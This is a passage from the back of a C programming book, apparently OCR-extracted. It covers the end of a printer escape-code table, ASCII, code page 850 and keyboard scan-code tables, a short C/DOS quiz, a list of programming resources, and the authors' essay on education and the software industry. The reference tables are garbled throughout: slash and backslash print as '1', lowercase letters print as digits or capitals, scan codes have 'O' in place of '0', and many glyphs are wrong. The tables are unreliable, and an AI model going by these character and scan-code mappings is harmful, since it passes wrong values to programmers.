\(\mathrm{n}=64\) Legal
\end{tabular} & ESC R n & \(\checkmark\)


\(\checkmark\)
\(\checkmark\)
\(\checkmark\)
\(\checkmark\)
\(\checkmark\)
\(\checkmark\)
\(\checkmark\)
\(\checkmark\)
\(\checkmark\)
\(\checkmark\)
\(\checkmark\) & \(\checkmark\)


\(\checkmark\)
\(\checkmark\)
\(\checkmark\)
\(\checkmark\)
\(\checkmark\)
\(\checkmark\)
\(\checkmark\)
\(\checkmark\)
\(\checkmark\)
\(\checkmark\)
\(\checkmark\)
\(\checkmark\)
\(\checkmark\) \\
\hline \multicolumn{4}{|l|}{Other Control Codes} \\
\hline Set Absolute Print Position & ESC \$ n1 n2 & \(\checkmark\) & \(\checkmark\) \\
\hline Set Relative Print Position & ESC \n1 n2 & \(\checkmark\) & \(\checkmark\) \\
\hline Repeat Data & ESC V n data & & \(\checkmark\) \\
\hline Color Selection: & ESCrn & \(\checkmark\) & \(\checkmark\) \\
\hline  & & \(\checkmark\) & \(\checkmark\) \\
\hline \begin{tabular}{l}
\(\mathrm{n}=1\) Red (Magenta) \\
\(\mathrm{n}=2\) Blue (Cyan)
\end{tabular} & & \(\checkmark\) & \(\checkmark\) \\
\hline \[
\mathrm{n}=3 \text { Violet }
\] & & \(\checkmark\) & \(\checkmark\) \\
\hline \[
\mathrm{n}=4 \text { Yellow }
\] & & \(\checkmark\) & \(\checkmark\) \\
\hline \[
\mathrm{n}=5 \text { Orange }
\] & & \(\checkmark\) & \(\checkmark\) \\
\hline \(n=6\) Green & & \(\checkmark\) & \(\checkmark\) \\
\hline \multicolumn{4}{|l|}{Cut Sheet Feeder Control} \\
\hline Cut Sheet Feeder & ESC EM n & \(\checkmark\) & \(\checkmark\) \\
\hline Operation: \({ }^{\text {n }} 0\) Disable CSF & & \(\checkmark\) & \(\checkmark\) \\
\hline \(\mathrm{n}=1\) Select Bin 1 & & \(\checkmark\) & \(\checkmark\) \\
\hline \(\mathrm{n}=2\) Select Bin 2 & & \(\checkmark\) & \(\checkmark\) \\
\hline \(\mathrm{n}=4\) Enable CSF & & \(\checkmark\) & \(\checkmark\) \\
\hline \(\mathrm{n}=\mathrm{R}\) Eject Sheet & & \(\checkmark\) & \(\checkmark\) \\
\hline
\end{tabular}

\section*{74 \\ "Better is open rebuke than hidden love." \\ ASCII Table}
\begin{tabular}{|c|c|c|c|c|c|}
\hline Dec & Name & Character & Dec & Name & Character \\
\hline 0 & Blank & & 30 & up triangle & - \\
\hline 1 & happy face & () & 31 & down triangle & \(\nabla\) \\
\hline 2 & inverse happy face & © & 32 & space & \\
\hline 3 & heart & \(\bullet\) & 33 & exclamation point & ! \\
\hline 4 & diamond & \(\stackrel{\rightharpoonup}{*}\) & 34 & quotation mark & " \\
\hline 5 & club & 2 & 35 & number sign & \# \\
\hline 6 & spade & \(\stackrel{1}{4}\) & 36 & dollar sign & \$ \\
\hline 7 & bullet & \(\bullet\) & 37 & percent sign & \% \\
\hline 8 & inverse bullet & - & 38 & ampersand & \& \\
\hline 9 & circle & \(\bigcirc\) & 39 & apostrophe & ' \\
\hline 10 & inverse circle & 0 & 40 & opening parenthesis & ( \\
\hline 11 & male sign & O & 41 & closing parenthesis & ) \\
\hline 12 & female sign & \% & 42 & asterisk & * \\
\hline 13 & single note & \(\delta\) & 43 & plus sign & + \\
\hline 14 & double note & J & 44 & comma & , \\
\hline 15 & sun & - & 45 & hyphen or minus sign & - \\
\hline 16 & right triangle & \(\checkmark\) & 46 & period & . \\
\hline 17 & left triangle & 4 & 47 & slash & 1 \\
\hline 18 & up/down arrow & \(\uparrow\) & 48 & zero & 0 \\
\hline 19 & double exclamation & !! & 49 & one & 1 \\
\hline 20 & paragraph sign & 9 & 50 & two & 2 \\
\hline 21 & section sign & \(\S\) & 51 & three & 3 \\
\hline 22 & rectangular bullet & 一 & 52 & four & 4 \\
\hline 23 & up/down to line & \(\underline{\downarrow}\) & 53 & five & 5 \\
\hline 24 & up arrow & \(\uparrow\) & 54 & six & 6 \\
\hline 25 & down arrow & \(\downarrow\) & 55 & seven & 7 \\
\hline 26 & right arrow & \(\rightarrow\) & 56 & eight & 8 \\
\hline 27 & left arrow & \(\leftarrow\) & 57 & nine & 9 \\
\hline 28 & lower left box & \(\llcorner\) & 58 & colon & : \\
\hline 29 & left/right arrow & \(\leftrightarrow\) & 59 & semicolon & ; \\
\hline
\end{tabular}
\begin{tabular}{|c|c|c|c|c|c|}
\hline Dec & Name & Character & Dec & Name & Character \\
\hline 60 & less-than sign & < & 95 & underscore & \\
\hline 61 & equal sign & \(=\) & 96 & grave & \\
\hline 62 & greater- than sign & > & 97 & lowercase A & a \\
\hline 63 & question mark & ? & 98 & lowercase B & b \\
\hline 64 & at sign & @ & 99 & lowercase C & C \\
\hline 65 & capital A & A & 100 & lowercase D & d \\
\hline 66 & capital B & B & 101 & lowercase E & e \\
\hline 67 & capital C & C & 102 & lowercase F & f \\
\hline 68 & capital D & D & 103 & lowercase G & g \\
\hline 69 & capital E & E & 104 & lowercase H & h \\
\hline 70 & capital F & F & 105 & lowercase I & i \\
\hline 71 & capital G & G & 106 & Iowercase J & j \\
\hline 72 & capital H & H & 107 & lowercase K & k \\
\hline 73 & capital I & I & 108 & lowercase L & 1 \\
\hline 74 & capital J & J & 109 & lowercase M & m \\
\hline 75 & capital K & K & 110 & lowercase N & n \\
\hline 76 & capital L & L & 111 & lowercase O & 0 \\
\hline 77 & capital M & M & 112 & lowercase P & p \\
\hline 78 & capital N & N & 113 & lowercase Q & q \\
\hline 79 & capital O & O & 114 & lowercase R & r \\
\hline 80 & capital P & P & 115 & lowercase S & S \\
\hline 81 & capital Q & Q & 116 & lowercase T & t \\
\hline 82 & capital R & R & 117 & Iowercase U & u \\
\hline 83 & capital S & S & 118 & Iowercase V & V \\
\hline 84 & capital T & T & 119 & lowercase W & W \\
\hline 85 & capital U & U & 120 & lowercase X & X \\
\hline 86 & capital V & V & 121 & lowercase Y & y \\
\hline 87 & capital W & W & 122 & lowercase Z & Z \\
\hline 88 & capital X & X & 123 & opening brace & \(\{\) \\
\hline 89 & capital Y & Y & 124 & vertical line & \\
\hline 90 & capital Z & Z & 125 & closing brace & \} \\
\hline 91 & opening bracket & [ & 126 & tilde & \(\sim\) \\
\hline 92 & backward slash & 1 & 127 & small house & \(\triangle\) \\
\hline 93 & closing bracket & ] & 128 & C cedilla & Ç \\
\hline 94 & caret & \(\wedge\) & 129 & u umlaut & ü \\
\hline
\end{tabular}

\section*{850 A to \(Z\) of \(C\)}
\begin{tabular}{|c|c|c|c|c|c|}
\hline Dec & Name & Character & Dec & Name & Character \\
\hline 130 & e acute & é & 165 & N tilde & N \\
\hline 131 & a circumflex & â & 166 & a macron & a \\
\hline 132 & a umlaut & ä & 167 & o macron & o \\
\hline 133 & a grave & à & 168 & opening question mark & i \\
\hline 134 & a ring & å & 169 & upper-left box & \(\ulcorner\) \\
\hline 135 & c cedilla & c & 170 & upper-right box & \(\neg\) \\
\hline 136 & e circumflex & ê & 171 & 1/2 & 1/2 \\
\hline 137 & e umlaut & ë & 172 & 1/4 & 1/4 \\
\hline 138 & e grave & è & 173 & opening exclamation & i \\
\hline 139 & I umlaut & ï & 174 & opening guillemets & « \\
\hline 140 & I circumflex & î & 175 & closing guillemets & " \\
\hline 141 & I grave & ì & 176 & light block & - \\
\hline 142 & A umlaut & Ä & 177 & medium block & \#\#\# \\
\hline 143 & A ring & Å & 178 & dark block & \\
\hline 144 & E acute & É & 179 & single vertical & \\
\hline 145 & ae ligature & \(\mathfrak{}\) & 180 & single right junction & - \\
\hline 146 & AE ligature & Æ & 181 & 2 to 1 right junction & \(=\) \\
\hline 147 & o circumflex & ô & 182 & 1 to 2 right junction & -1 \\
\hline 148 & o umlaut & Ö & 183 & 1 to 2 upper-right & 71 \\
\hline 149 & o grave & ò & 184 & 2 to 1 upper-right & 7 \\
\hline 150 & u circumflex & ̂̂ & 185 & double right junction & \(\ddagger\) \\
\hline 151 & u grave & ù & 186 & double vertical & \\
\hline 152 & y umlaut & \(\ddot{\mathrm{y}}\) & 187 & double upper-right & 7 \\
\hline 153 & O umlaut & Ö & 188 & double lower-right & J \\
\hline 154 & U umlaut & \(\ddot{U}\) & 189 & 1 to 2 lower-right & Il \\
\hline 155 & cent sign & \(\not \subset\) & 190 & 2 to 1 lower-right & \(\pm\) \\
\hline 156 & pound sign & £ & 191 & single upper-right & 7 \\
\hline 157 & yen sign & ¥ & 192 & single lower-left & L \\
\hline 158 & Pt & Pts & 193 & single lower junction & 上 \\
\hline 159 & function & \(f\) & 194 & single upper junction & T \\
\hline 160 & a acute & á & 195 & single left junction & - \\
\hline 161 & I acute & í & 196 & single horizontal & - \\
\hline 162 & o acute & Ó & 197 & single intersection & 十 \\
\hline 163 & u acute & ú & 198 & 2 to 1 left junction & \(=\) \\
\hline 164 & n tilde & ñ & 199 & 1 to 2 left junction & 1 \\
\hline
\end{tabular}
\begin{tabular}{|c|c|c|c|c|c|}
\hline Dec & Name & Character & Dec & Name & Character \\
\hline 200 & double lower-left & L & 228 & Sigma & \(\Sigma\) \\
\hline 201 & double upper-left & [ & 229 & sigma & \(\sigma\) \\
\hline 202 & double lower junction & \(\underline{L}\) & 230 & mu & \(\mu\) \\
\hline 203 & double upper junction & \(\bar{T}\) & 231 & tau & \(\tau\) \\
\hline 204 & double left junction & 1 & 232 & Phi & \(\Phi\) \\
\hline 205 & double horizontal & = & 233 & theta & \(\Theta\) \\
\hline 206 & double intersection & 1 & 234 & Omega & \(\Omega\) \\
\hline 207 & 1 to 2 lower junction & \(\stackrel{\text { L }}{ }\) & 235 & delta & \(\delta\) \\
\hline 208 & 2 to 1 lower junction & IIL & 236 & infinity & \(\infty\) \\
\hline 209 & 1 to 2 upper junction & T & 237 & phi & \(\varphi\) \\
\hline 210 & 2 to 1 upper junction & \(\pi\) & 238 & epsilon & \(\varepsilon\) \\
\hline 211 & 1 to 2 lower-left & IL & 239 & intersection of sets & \(\cap\) \\
\hline 212 & 2 to 1 lower-left & L & 240 & is identical to & 三 \\
\hline 213 & 2 to 1 upper-left & F & 241 & plus/minus sign & \(\pm\) \\
\hline 214 & 1 to 2 upper-left & T & 242 & greater/equal sign & \(\geq\) \\
\hline 215 & 2 to 1 intersection & \(t\) & 243 & less/equal sign & \(\leq\) \\
\hline 216 & 1 to 2 intersection & 三 & 244 & top half integral & \\
\hline 217 & lower-right box & Ј & 245 & lower half integral & , \\
\hline 218 & upper-left box & \(\Gamma\) & 246 & division sign & \(\div\) \\
\hline 219 & inverse space & & 247 & approximately & \(\approx\) \\
\hline 220 & lower inverse & & 248 & degree & - \\
\hline 221 & left inverse & & 249 & filled-in degree & . \\
\hline 222 & right inverse & & 250 & small bullet & . \\
\hline 223 & upper inverse & & 251 & square root & \(\sqrt{ }\) \\
\hline 224 & alpha & \(\alpha\) & 252 & superscript n & n \\
\hline 225 & beta & \(\beta\) & 253 & superscript 2 & 2 \\
\hline 226 & Gamma & \(\Gamma\) & 254 & box & \(\square\) \\
\hline 227 & Pi & \(\pi\) & 255 & phantom space & \\
\hline
\end{tabular}

\section*{75 \\ "Don't give your love to just any woman." \\ Scan Code}
\begin{tabular}{|c|c|c|c|}
\hline Key/ Character & Scan Code & Key/ Character & Scan Code \\
\hline & 29 & a & 1E \\
\hline 1 & 2 & s & 1F \\
\hline 2 & 3 & d & 20 \\
\hline 3 & 4 & f & 21 \\
\hline 4 & 5 & g & 22 \\
\hline 5 & 6 & h & 23 \\
\hline 6 & 7 & j & 24 \\
\hline 7 & 8 & k & 25 \\
\hline 8 & 9 & I & 26 \\
\hline 9 & OA & ; & 27 \\
\hline 0 & OB & ' & 28 \\
\hline - & OC & \# (102 -key only) & 2B \\
\hline \(=\) & OD & Enter & 1C \\
\hline Backspace & OE & Left Shift & 2A \\
\hline Tab & OF & \\(102 -key only) & 56 \\
\hline q & 10 & z & 2C \\
\hline w & 11 & x & 2D \\
\hline e & 12 & c & 2E \\
\hline r & 13 & v & 2F \\
\hline t & 14 & b & 30 \\
\hline y & 15 & n & 31 \\
\hline u & 16 & m & 32 \\
\hline i & 17 & , & 33 \\
\hline o & 18 & . & 34 \\
\hline p & 19 & / & 35 \\
\hline [ & 1A & Right Shift & 36 \\
\hline ] & 1B & Left Ctrl & 1D \\
\hline \ (101-key only) & 2B & Left Alt & 38 \\
\hline Caps Lock & 3A & Spacebar & 39 \\
\hline
\end{tabular}

A to Z of C 853
\begin{tabular}{|c|c|c|c|}
\hline Key/ Character & Scan Code & Key/ Character & Scan Code \\
\hline Right Alt & E0,38 & Keypad 3(PgDn) & 51 \\
\hline Right Ctrl & E0,1D & Keypad .(Del) & 53 \\
\hline Insert & E0,52 & Keypad - & 4A \\
\hline Delete & E0,53 & Keypad + & 4E \\
\hline Left arrow & E0,4B & Keypad Enter & E0,1C \\
\hline Home & E0,47 & Escape & 1 \\
\hline End & E0,4F & F1 & 3B \\
\hline Up arrow & E0,48 & F2 & 3 C \\
\hline Down arrow & E0,50 & F3 & 3D \\
\hline Page Up & E0,49 & F4 & 3E \\
\hline Page Down & E0,51 & F5 & 3F \\
\hline Right arrow & E0,4D & F6 & 40 \\
\hline Num Lock & 45 & F7 & 41 \\
\hline Keypad 7 (Home) & 47 & F8 & 42 \\
\hline Keypad 4(End) & 4B & F9 & 43 \\
\hline Keypad 1(End) & 4 F & F10 & 44 \\
\hline Keypad / & E0,35 & F11 & 57 \\
\hline Keypad 8(Uparrow) & 48 & F12 & 58 \\
\hline Keypad 5 & 4 C & Print Screen & E0,2A,E0,37 \\
\hline Keypad 2(Down arrow) & 50 & Scroll Lock & 46 \\
\hline Keypad 0(Ins) & 52 & Pause & E1,1D,45,E1,9D,C5 \\
\hline Keypad* & 37 & Left Windows & E0,58 \\
\hline Keypad 9(PgUp) & 49 & Right Windows & E0,5C \\
\hline Keypad 6(Left arrow) & 4D & Application & E0,5D \\
\hline
\end{tabular}

\section*{Part X}

\section*{Postlude}
"True peace is not merely the absence of tension; it is the presence of justice"
- Martin Luther King, J r.

\section*{76 "It is more blessed to give than to receive." Test in C}

\section*{I mportant Notice}

Most of the teachers ask the "undefined" patterns as questions. As they get certain output for their undefined patterns or programs, they think that their question is right. But it is not so. "Undefined" is not an exception to Turbo C. So anything undefined means, it applies to both ANSI C and Turbo C.

\subsection*{76.1 ANSI C}
1. Which are the valid C identifiers among the following?
\begin{tabular}{ll} 
(i) & \(a\) \\
(ii) & \(a-\) \\
(iii) & \(-a\) \\
(iv) & - \\
(v) & - \\
(vi) & -1 \\
(vii) & \(1_{-}\) \\
(viii) & \\
(ix) & \(\$ s\) \\
(x) & \(a-z\)
\end{tabular}
2. Comment on the validity of following C code.
\[
\begin{aligned}
& \text { int } \quad \text {; } \\
& -=10 ; \\
& --\_;
\end{aligned}
\]
3. Comment on the following C code.
```

int i = 7;
printf( "%d", ++i * ++i );

```
4. Comment on the following C code.
```

int *ptr, a;
ptr = malloc( 5 );
ptr = \& a;

```
5. What is sizeof ( 'A' ) ? Why?
6. Which is the fastest datatype in C?

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7. Which are all the faster operators in C ?
(Ans: It depends upon the implementations. In most of the implementations, bitwise operators, especially shift)
8. Which is the easiest way to avoid memory leak?

\subsection*{76.2 Turbo C / DOS Programming}
1. What would be the output of the following code?
```

\#pragma -ms
char *ptr;
printf( "%d \n", sizeof(ptr) );

```
2. What would be the output of the following code?
```

\#pragma -mh
char *ptr;
printf( "%d \n", sizeof(ptr) );

```

\subsection*{76.3 Windows}
1. Only one directory of Windows can hold multiple files with same name. What is the name of that directory?
2. The files we try to store in \(\mathrm{C}: \backslash\) TEMP \(>\) get disappeared when we reboot our system. Why?

\section*{77 "Consider carefully what you hear." \\ C Resources}

After reading this book, you may want to develop yourself further. The CD accompanying this book will be a good resource for you. In CD you have a number of utilities and source code of various utilities.

\subsection*{77.1 Magazine}

C / C++ user Journal
It is the most popular Journal for C programmers. It is a must for every C programmer. In India, a single copy costs Rs.450/-. If you find any difficulty in getting the copy, you may contact them at www.cuj.com

\subsection*{77.2 Books}
1. The C programming Language by Brian W. Kernighan \& Dennis M. Ritchie (Second Edition, PHI)

This book is from the creator of C language. It is often nicked as ' \(K \& R\) ' and 'White book'. This book covers ANSI C. Even though it is small in size, it is rich with many concepts and ideas. It is a must for all C programmers! It costs only Rs.95/-
2. Algorithms in C by Robert Sedgewick (Addition Wesley) ISBN 0-201-51425-7

This book explains almost all algorithms through C programs.
3. Calculus with Analytical Geometry by George F. Simmons (Mc Graw Hill) ISBN 0-07-057419-7

This book is of course a 'pure' Mathematics book. But I have never seen such a well-explained and a neat book in my life. This book will really help you to build your mathematical skills. It includes Bibliographical notes of famous Mathematicians.

\subsection*{77.3 Jobs}
www.JustCJobs.com
If you are searching for \(\mathrm{C} / \mathrm{C}++\) jobs, you can try this site. As far as I know this is the only Job site that is restricted to \(\mathrm{C} / \mathrm{C}++\) programmers.

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\subsection*{77.4 Associations}

ACM (Association for Computing Machinery)
This association was established in 1947. It is the oldest computing association. ACM is known for having many computing researchers as its members. Dennis M. Ritchie, creator of C language is one of the ACM members. For more details visit www.acm.org

\subsection*{77.5 Websites}

Many websites are discontinuing their services. So one cannot give assurance for the websites and its contents. I suggest you to visit the official website of this book.
www.guideme.itgo.com
There you can find frequently updated useful links.

\section*{78 "Remember the LORD in all you do." \\ Between You and Me}

Yet we have seen so many things in C programming! But we didn't look into the social aspects. I think, Education without social concern is merely a waste! So let's look into the pitfalls in the Education System and Society!

\subsection*{78.1 Our Education System}

It is a typical Mathematics class of a University...The teacher teaches...He says, "This is an important problem! If you find \(A\), you will get 4 marks; If you find \(B\), you will get 4 marks; If you find both \(\mathrm{A} \& \mathrm{~B}\), you will get 10 marks!" Then all students mark it as "important" problem!!! It is quiet unfortunate that many of the educated people know only the "important-symbol"!!! It is evident that this kind of education system is capable to produce only "mark-based" people!

Human brain can be viewed as two important things: (1) Memory, (2) Processor. Obviously, one has to use more his "processor" than "memory" for intelligence and efficiency. The world came across so many Geniuses, most of them were absent-minded! In other words, Geniuses got more "processors" than "memory". But what about our Education system? It is unfortunate that our Education system forces us to "memorize".

Honestly, we cannot rank a person with his mark. If a person scored \(100 \%\), it doesn't mean that he has mastered that subject. If a person scored \(0 \%\), it doesn't mean that he is a fool. So this is the right time to think about our 'mark-based' education system and to raise our voice against it! Our government should not encourage 'mark-based' people with precious awards!

\subsection*{78.2 Software Industry}

Nowadays, Software Engineers/Programmers are returning home. Why? We have two answers: (1) Economy is down, (2) Indian Programmers are not efficient. The first answer is unfortunate. But this is the right time to analyze the second answer. If Indian Programmers are not efficient, who recruited them? Yes, there is a flaw in the selection process. Software Industries firmly hold certain rules based on myths. If they continue such selection processes based on myths, certainly they will suffer one day!

\subsection*{78.2.1 Myths \& Facts}

Software Industry moves with certain myths. Let's analyze them.
Myth: "People who have more percentage are efficient"
Fact: Not true! History never says Geniuses scored more marks! In most of the cases, 'more percentage' refers to 'more memorizing' capability than 'more processing' capability.

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Myth: "People from reputed institutions like IIT are efficient"
Fact: Not True! The selection process of IIT is still based on 'marks'. So again its products are 'mark-based' people!

Myth: "Spoken English is must for Programmers"
Fact: The job of the Programmer is to write up programs, not speak up programs!!!
Myth: "Programming skill is not necessary for Programmers"
Fact: Programming is an art! It's not a pure Science. So programming is not an easy one.
Myth: "Only Mathematical ability is enough for Programmers"
Fact: Mathematical ability is one of the many other abilities that programmers require.

\subsection*{78.3 Mother tongue}

People are moving to English as they think it is the only right language. In fact, it is not true! Most of the research works have been done with native languages than with English. It is proved that no one can 'think' directly in a foreign language. So moving with native language would certainly produce intellectuals!

\subsection*{78.4 Next generation people}

There are commercial companies that are just aimed at profit. They keep everything including their code in secret. Many broadminded people felt that, technologies should be open. And many people worked for the open standards.

In this book, you have come across so many codes by real \& professional programmers. If they keep their codes themselves and doesn't provide the right to use their codes for this book, you may probably miss those valuable codes. So it is necessary to appreciate those open minded people.

\subsection*{78.4.1 Shareware}

Shareware is a good concept evolved to provide better service to the users. Shareware concept is "Try; Pay, if you use it". So one may try the product in 30 days evaluation period and then if he continues to use it, he has to pay registration fees to the author. Shareware authors are more concerned about their users. They even respond to personal mails, unlike commercial vendors. But many people deceive the shareware authors by not paying them. Please consider the fact that most of the shareware authors are interested in giving their product free of cost, but because of certain financial need only they ask money. Also most of the shareware authors are students. So please no more deceive them, just pay the registration fees!

\subsection*{78.4.2 GPL}

GNU's General Public Licence protects the author of the programs. According to the licence if one provides the binary file, he has to give the source code too. Thus the person who receives the binary may find the details about the real author. One can modify the program, but he may not remove the original author as GPL protects the first author of the source. Linux is appreciated worldwide as it is licensed under GNU's GPL. So I suggest you to consider GPL, if you write any new code.

\subsection*{78.5 Heal the World}

Everyday we hear about war, poverty, racism... What's you contribution to this world or this society? Wakeup! It is the right time to think about peace!

\section*{79 "Those who sow in tears will reap with songs of joy." Last Chapter}

Alas!...You are on the last chapter of this book! Yes, you have completed this book! It took about \(11 / 2\) year for me to complete this book. Writing book is really a marathon running. I have sacrificed many things because of this book project. I received lots of good and bad criticisms during the course of this project. All the criticisms really helped me to "tune" this book. I would like to hear from you too! Now what do you think about this book?

\subsection*{79.1 Web page - GuideMe.ITgo.com}

The official website of this book is
\(\mathrm{http}: / /\) guideme.itgo.com. I suggest you to register at the webpage for better service.

\subsection*{79.2 Errata}

This book might contain some errors. I would appreciate you if you notify me any kind of errors or omissions in this book. For the errata, please visit
http://guideme.itgo.com

\subsection*{79.3 Contact Info}

If you want to share anything with me/if you want to notify me any errors/anything else, please use the email-composing box found at the webpage http://guideme.itgo.com

Feel free to contact me!

\subsection*{79.4 Final Greetings}

Wish you a happy programming career.
God bless you.
With lots \& lots of wishes, K. Joseph Wesley \& R. Rajesh Jeba Anbiah

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[^0]:    Note
    For the above program, you may get some output. But it is wrong. You have to understand that compilers may not check 'Undefined' grammars.

